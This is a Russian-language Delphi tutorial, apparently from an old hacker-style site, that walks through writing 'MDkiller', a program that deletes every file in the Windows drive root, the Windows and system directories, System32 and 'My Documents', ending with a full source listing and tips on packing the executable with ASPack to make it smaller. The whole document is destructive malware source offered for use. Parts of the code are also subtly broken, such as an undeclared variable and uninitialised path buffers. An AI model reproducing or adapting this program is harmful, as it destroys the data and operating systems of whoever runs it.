Сегодня мы напишем простенькую программку на Делфи,
убивающую операционную систему Windows (a.k.a. Must Die). Даже не просто
убивающую, а удаляющую все файлы, лежащие в корне того диска, где стоит
OC, папке "Мои Документы", директории Windows, системной директории
Windows, папке \System32. Например если ты установил Мастдай в C:\Windows,
то при запуске проги будут удалены все файлы (но не папки) из: C:\;
C:\Windows, C:\Мои Документы,
C:\Windows\System, C:\Windows\System32. Итак, приступим к делу.
Project -> View Source. Здесь удаляем все лишнее, чтобы в результате
получилось следующее:
program MDkiller; uses Windows,
Sysutils; begin end. Теперь Делфя готова к работе.
:)) Дополним это еще несколькими строками: program
MDkiller; uses Windows, Sysutils; var { обьявление
переменных} S: Tsearchrec; a1,a2,a3,a4,a5: string; F:
File; p,p1: pchar; begin GetWindowsDirectory(p, max_path);
{определяем директорию, где установлена Windows} a1:= strpas(p) + '\';
{переводим возвращенный параметр из типа PChar в строковый тип и дополняем
путь к директории Windows символом '\'} a2:= a1[1]+ ':\'; {определяем
диск, на котором установлена ОС} a3:= a2 + 'Мои Документы\';
{определяем папку "Мои Документы"} getsystemdirectory(p1,max_path);
{определяем cистемную директорию} a4:= strpas(p1) ; {переводим
возвращенный параметр из типа PChar в строковый тип } a5:= a4 + '32\';
{определям \System32} a6:= a4 + '\'; {дополняем путь к системной
директории символом '\'} end.
Разберемся, что мы сделали
:) Переменные S: Tsearchrec и F: File необходимы для последующей
процедуры поиска файлов в заданных директориях. Остальные переменные типа
string и pchar нужны для определения необходимых параметров и перевода их
в понятный фугкциям FindFirst и FindNext язык. Для определения системной
директории и директории Windows мы использовали функции
WinAPI GetWindowsDirectory и GetSystemDirectory. Пути к нужным
директориям определены, осталось удалить из них файлы. :)
Для
поиска и удаления воспользуемся функциями FindFirst и FindNext. if
FindFirst(a1 + '*.*',faanyfile,S) <> 0 then FindClose(S) else { если
функция FindFirst возвращает значение не ноль - завершить поиск,
если ноль тогда продолжить} repeat {продолжать} deletefile(a1 +
S.name); {удаление найденного файла} until {пока} Findnext(S)
<> 0; {не возвращено значение ноль} FindClose(S);{тогда закончить
поиск} if FindFirst(a2 + '*.*',faanyfile,S) <> 0 then
FindClose(S) else repeat deletefile(a2 +
S.name); until Findnext(S) <> 0; FindClose(S); if
FindFirst(a3 + '*.*',faanyfile,S) <> 0 then FindClose(S)
else repeat deletefile(a3 + S.name); until Findnext(S)
<> 0; FindClose(S); if FindFirst(a4 + '*.*',faanyfile,S)
<> 0 then FindClose(S) else repeat deletefile(a4 +
S.name); until Findnext(S) <> 0; FindClose(S); if
FindFirst(a5 + '*.*',faanyfile,S) <> 0 then FindClose(S)
else repeat deletefile(a5 + S.name); until Findnext(S)
<> 0; FindClose(S); end.
Вот и все. Я
откомментировал удаление файлов только из директории Windows, т.к. в
других случаях происходит почти то же самое - поиск и удаление файлов до
тех пор, пока не будет возвращено значение не ноль ( <>0), т.е.
файлов в указанной директории больше нет. Замечу, что удаление файлов из
папок, находящихся в заданных директориях, производиться не будет, т.к.
это требует усложнения алгоритма поиска.Я написал прогу с использованием
WinAPI и Sysutils, так ее размер составил 42КВ, а зажатая ASPack'ом она
стала весить всего 26КВ. Если не использовать Sysutils, а описать
поиск файлов, используя FindFirstFile и FinfNextFile из WinAPI можно
получить размер екзешника - 17 KB, сжатый ASPack'ом - 15KB!
ЗЫ: Я
тестировал прогу на Windows 2000 Pro SP1. При работе под Win9x возможны
ошибки, требующие небольшого изменения кода. Например на Win 98 SE при
определении директории, в которую установлен Мастдай, прога выдает
сообщение о ошибке и не работает. :( Но если перед GetWindowsDirectory() и
GetSystemDirectory() написать p:='' и p1:='' соответственно, то
все запашет без проблем.
Полный листинг
проги: program
MDkiller; uses Windows, Sysutils; var S:
Tsearchrec; a1,a2,a3,a4,a5,a6: string; F: File; p,p1:
pchar; begin GetWindowsDirectory(p, max_path); a1:=
strpas(p) + '\'; a2:= a1[1]+ ':\'; a3:= a2 +
'Мои Документы\'; GetSystemDirectory(p1,max_path); a4:=
strpas(p1) ; a5:= a4 + '32\'; a6:= a4 + '\'; if
FindFirst(a1 + '*.*',faanyfile,S) <> 0 then FindClose(S)
else repeat deletefile(a1 +
S.name); until Findnext(S) <>
0; FindClose(S); if FindFirst(a2 + '*.*',faanyfile,S) <>
0 then FindClose(S) else repeat deletefile(a2 +
S.name); until Findnext(S) <> 0; FindClose(S); if
FindFirst(a3 + '*.*',faanyfile,S) <> 0 then FindClose(S)
else repeat deletefile(a3 + S.name); until Findnext(S)
<> 0; FindClose(S); if FindFirst(a4 + '*.*',faanyfile,S)
<> 0 then FindClose(S) else repeat deletefile(a4 +
S.name); until Findnext(S) <> 0; FindClose(S); if
FindFirst(a5 + '*.*',faanyfile,S) <> 0 then FindClose(S)
else
repeat deletefile(a5 +
S.name); until Findnext(S) <>
0; FindClose(S); end.
|